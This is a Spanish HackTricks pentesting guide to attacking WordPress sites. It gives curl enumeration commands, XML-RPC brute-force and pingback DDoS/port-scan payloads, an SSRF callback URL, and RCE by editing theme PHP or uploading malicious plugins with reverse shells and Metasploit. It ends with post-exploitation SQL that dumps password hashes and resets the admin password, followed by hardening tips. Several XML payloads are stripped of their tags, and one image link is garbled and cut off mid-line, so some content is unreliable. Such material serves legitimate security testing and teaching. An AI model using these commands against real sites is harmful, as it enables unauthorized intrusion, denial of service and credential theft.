# Wordpress
Aprende a hackear AWS desde cero hasta convertirte en un experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Información Básica
Los archivos **subidos** van a: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
Los archivos de **temas se pueden encontrar en /wp-content/themes/**, por lo que si cambias algún php del tema para obtener RCE probablemente uses esa ruta. Por ejemplo: Usando el **tema twentytwelve** puedes **acceder** al archivo **404.php** en: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Otra URL útil podría ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
En **wp-config.php** puedes encontrar la contraseña raíz de la base de datos.
Rutas de inicio de sesión predeterminadas para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Archivos Principales de WordPress**
* `index.php`
* `license.txt` contiene información útil como la versión de WordPress instalada.
* `wp-activate.php` se utiliza para el proceso de activación por correo electrónico al configurar un nuevo sitio de WordPress.
* Carpetas de inicio de sesión (pueden ser renombradas para ocultarlas):
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
* `xmlrpc.php` es un archivo que representa una característica de WordPress que permite transmitir datos con HTTP actuando como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazado por la [API REST](https://developer.wordpress.org/rest-api/reference) de WordPress.
* La carpeta `wp-content` es el directorio principal donde se almacenan los plugins y temas.
* `wp-content/uploads/` es el directorio donde se almacenan los archivos subidos a la plataforma.
* `wp-includes/` Este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets.
* `wp-sitemap.xml` En las versiones de Wordpress 5.5 y superiores, Wordpress genera un archivo XML de mapa del sitio con todas las publicaciones públicas y tipos de publicaciones y taxonomías públicamente consultables.
**Explotación Post**
* El archivo `wp-config.php` contiene la información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el nombre de usuario y la contraseña, claves de autenticación y sales, y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede utilizar para activar el modo DEBUG, que puede ser útil para solucionar problemas.
### Permisos de Usuarios
* **Administrador**
* **Editor**: Publica y gestiona sus propias publicaciones y las de otros.
* **Autor**: Publica y gestiona sus propias publicaciones.
* **Colaborador**: Escribe y gestiona sus publicaciones pero no puede publicarlas.
* **Suscriptor**: Navega por las publicaciones y edita su perfil.
## **Enumeración Pasiva**
### **Obtener la versión de WordPress**
Verifica si puedes encontrar los archivos `/license.txt` o `/readme.html`
Dentro del **código fuente** de la página (ejemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
* `meta name`
![](<../../.gitbook/assets/image (343).png>)
* Archivos de enlace CSS
![](<../../.gitbook/assets/image (344).png>)
* Archivos de JavaScript
![](<../../.gitbook/assets/image (346).png>)
### Obtener Plugins
{% code overflow="wrap" %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Obtener Temas
{% code overflow="wrap" %}
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Extraer versiones en general
{% endcode %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
{% endcode %}
\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Enumeración activa
### Plugins y Temas
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrir todos ellos, necesitarás **realizar un Brute Force activo en una lista de Plugins y Temas** (afortunadamente, existen herramientas automatizadas que contienen estas listas).
### Usuarios
**ID Brute**
Obtén usuarios válidos de un sitio de WordPress realizando un Brute Force en los IDs de usuarios:
```
curl -s -I -X GET http://blog.example.com/?author=1
```
Si las respuestas son **200** o **30X**, eso significa que el id es **válido**. Si la respuesta es **400**, entonces el id es **inválido**.
**wp-json**
También puedes intentar obtener información sobre los usuarios haciendo consultas:
```
curl http://blog.example.com/wp-json/wp/v2/users
```
Otro endpoint `/wp-json/` que puede revelar información sobre los usuarios es:
```
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Este endpoint solo expone a los usuarios que han realizado una publicación. **Solo se proporcionará información sobre los usuarios que tengan esta función habilitada**.
También ten en cuenta que **/wp-json/wp/v2/pages** podría filtrar direcciones IP.
#### Enumeración de nombres de usuario de inicio de sesión
Al iniciar sesión en **`/wp-login.php`** el **mensaje** es **diferente** si el **nombre de usuario indicado existe o no**.
### XML-RPC
Si `xml-rpc.php` está activo, puedes realizar un ataque de fuerza bruta de credenciales o utilizarlo para lanzar ataques de denegación de servicio (DoS) a otros recursos. (Puedes automatizar este proceso [usando esto](https://github.com/relarizky/wpxploit) por ejemplo).
Para verificar si está activo, intenta acceder a _**/xmlrpc.php**_ y envía esta solicitud:
**Check**
```markup
system.listMethods
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Fuerza bruta de credenciales**
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** son algunos de los métodos que se pueden utilizar para realizar fuerza bruta de credenciales. Si puedes encontrar alguno de ellos, puedes enviar algo como:
```markup
wp.getUsersBlogsadminpass
```
El mensaje _"Nombre de usuario o contraseña incorrectos"_ dentro de una respuesta de código 200 debería aparecer si las credenciales no son válidas.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1
```markup
wp.uploadFile1usernamepasswordnamefilename.jpgtypemime/typebits
```
También hay una **forma más rápida** de probar credenciales usando **`system.multicall`** ya que puedes intentar varias credenciales en la misma solicitud:
**Burlar la autenticación de dos factores (2FA)**
Este método está destinado para programas y no para humanos, y es antiguo, por lo tanto no es compatible con 2FA. Por lo tanto, si tienes credenciales válidas pero la entrada principal está protegida por 2FA, **podrías abusar de xmlrpc.php para iniciar sesión con esas credenciales evitando el 2FA**. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la consola, pero aún podrías lograr RCE como lo explica Ippsec en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
**DDoS o escaneo de puertos**
Si puedes encontrar el método _**pingback.ping**_ en la lista, puedes hacer que Wordpress envíe una solicitud arbitraria a cualquier host/puerto.\
Esto se puede utilizar para pedir a **miles** de **sitios** de **Wordpress** que **accedan** a una **ubicación** específica (causando un **DDoS** en esa ubicación) o puedes usarlo para hacer que **Wordpress** escanee alguna **red interna** (puedes indicar cualquier puerto).
```markup
pingback.pinghttp://:http://
```
![](../../.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Si obtienes **faultCode** con un valor **mayor** que **0** (17), significa que el puerto está abierto.
Echa un vistazo al uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método para causar un DDoS.
**DDoS**
```markup
pingback.pinghttp://target/http://yoursite.com/and_some_valid_blog_post_url
```
![](<../../.gitbook/assets/image (103).png>)
### wp-cron.php DoS
Este archivo suele existir en la raíz del sitio de Wordpress: **`/wp-cron.php`**\
Cuando este archivo es **accedido** se realiza una **consulta** MySQL "**pesada**", por lo que podría ser utilizado por **atacantes** para **causar** un **DoS**.\
Además, por defecto, el `wp-cron.php` se llama en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios con mucho tráfico puede causar problemas (DoS).
Se recomienda deshabilitar Wp-Cron y crear una tarea cron real dentro del host que realice las acciones necesarias en un intervalo regular (sin causar problemas).
### /wp-json/oembed/1.0/proxy - SSRF
Intenta acceder a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ y el sitio de Wordpress puede hacer una solicitud hacia ti.
Esta es la respuesta cuando no funciona:
![](<../../.gitbook/assets/image (184) (1).png>)
### SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Esta herramienta verifica si el **methodName: pingback.ping** y para la ruta **/wp-json/oembed/1.0/proxy** y si existen, intenta explotarlos.
### Herramientas Automáticas
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
\
Utilice [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Obtenga acceso sobrescribiendo un bit
Más que un ataque real, esto es una curiosidad. En el CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) podrías cambiar 1 bit de cualquier archivo de Wordpress. Así podrías cambiar la posición `5389` del archivo `/var/www/html/wp-includes/user.php` para anular la operación NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modificación de un archivo php del tema utilizado (se necesitan credenciales de administrador)**
Apariencia → Editor de Temas → Plantilla 404 (a la derecha)
Cambiar el contenido por un shell php:
![](<../../.gitbook/assets/image (21) (1) (1).png>)
Busca en internet cómo puedes acceder a esa página actualizada. En este caso, debes acceder aquí: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
Puedes usar:
```
use exploit/unix/webapp/wp_admin_shell_upload
```
## Ejecución de código remoto a través de plugins
### Plugin PHP
Puede ser posible subir archivos .php como un plugin.\
Cree su puerta trasera en php utilizando, por ejemplo:
![](<../../.gitbook/assets/image (407).png>)
Luego agregue un nuevo plugin:
![](<../../.gitbook/assets/image (409).png>)
Suba el plugin y presione Instalar ahora:
![](<../../.gitbook/assets/image (411).png>)
Haga clic en Proceder:
![](<../../.gitbook/assets/image (412).png>)
Probablemente esto no haga nada aparentemente, pero si va a Medios, verá su shell subido:
![](<../../.gitbook/assets/image (413).png>)
Acceda a él y verá la URL para ejecutar la shell inversa:
![](<../../.gitbook/assets/image (414).png>)
### Subir y activar un plugin malicioso
Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede ser explotado para obtener una shell web. Este proceso se realiza a través del panel de WordPress de la siguiente manera:
1. **Adquisición del Plugin**: El plugin se obtiene de una fuente como Exploit DB como [**aquí**](https://www.exploit-db.com/exploits/36374).
2. **Instalación del Plugin**:
* Navegue hasta el panel de WordPress, luego vaya a `Panel > Plugins > Subir Plugin`.
* Suba el archivo zip del plugin descargado.
3. **Activación del Plugin**: Una vez que el plugin se instala correctamente, debe ser activado a través del panel.
4. **Explotación**:
* Con el plugin "reflex-gallery" instalado y activado, puede ser explotado ya que se sabe que es vulnerable.
* El framework Metasploit proporciona un exploit para esta vulnerabilidad. Cargando el módulo adecuado y ejecutando comandos específicos, se puede establecer una sesión de meterpreter, otorgando acceso no autorizado al sitio.
* Se destaca que este es solo uno de los muchos métodos para explotar un sitio de WordPress.
El contenido incluye ayudas visuales que representan los pasos en el panel de WordPress para instalar y activar el plugin. Sin embargo, es importante tener en cuenta que explotar vulnerabilidades de esta manera es ilegal e inmoral sin la autorización adecuada. Esta información debe ser utilizada de manera responsable y solo en un contexto legal, como pruebas de penetración con permiso explícito.
**Para obtener pasos más detallados, consulte:** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/)
## Post Explotación
Extraer nombres de usuario y contraseñas:
```bash
mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Cambiar contraseña de administrador:
```bash
mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Protección de WordPress
### Actualizaciones regulares
Asegúrate de que WordPress, los plugins y los temas estén actualizados. También confirma que la actualización automática está habilitada en wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
También, **solo instala plugins y temas de WordPress confiables**.
### Plugins de Seguridad
* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Otras Recomendaciones**
* Elimina el usuario **admin** por defecto
* Utiliza **contraseñas fuertes** y **2FA**
* Revisa periódicamente los **permisos** de los usuarios
* **Limita los intentos de inicio de sesión** para prevenir ataques de Fuerza Bruta
* Renombra el archivo **`wp-admin.php`** y solo permite el acceso internamente o desde ciertas direcciones IP.
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
¡Accede hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).